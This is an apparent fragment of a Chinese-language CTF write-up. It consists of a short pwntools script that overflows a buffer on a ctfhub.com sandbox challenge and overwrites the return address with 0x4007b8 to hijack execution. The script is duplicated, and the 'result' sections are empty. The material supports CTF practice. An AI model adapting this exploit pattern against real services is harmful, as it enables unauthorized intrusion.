exp代码:
from pwn import *
host='challenge-1868f48f1e630fd3.sandbox.ctfhub.com'
port=27988
p=connect(host,port)
payload = b'A' * 0x78 +p64(0x4007b8)
p.sendline(payload)
p.interactive()
效果:
exp代码:
from pwn import *
host='challenge-1868f48f1e630fd3.sandbox.ctfhub.com'
port=27988
p=connect(host,port)
payload = b'A' * 0x78 +p64(0x4007b8)
p.sendline(payload)
p.interactive()
效果: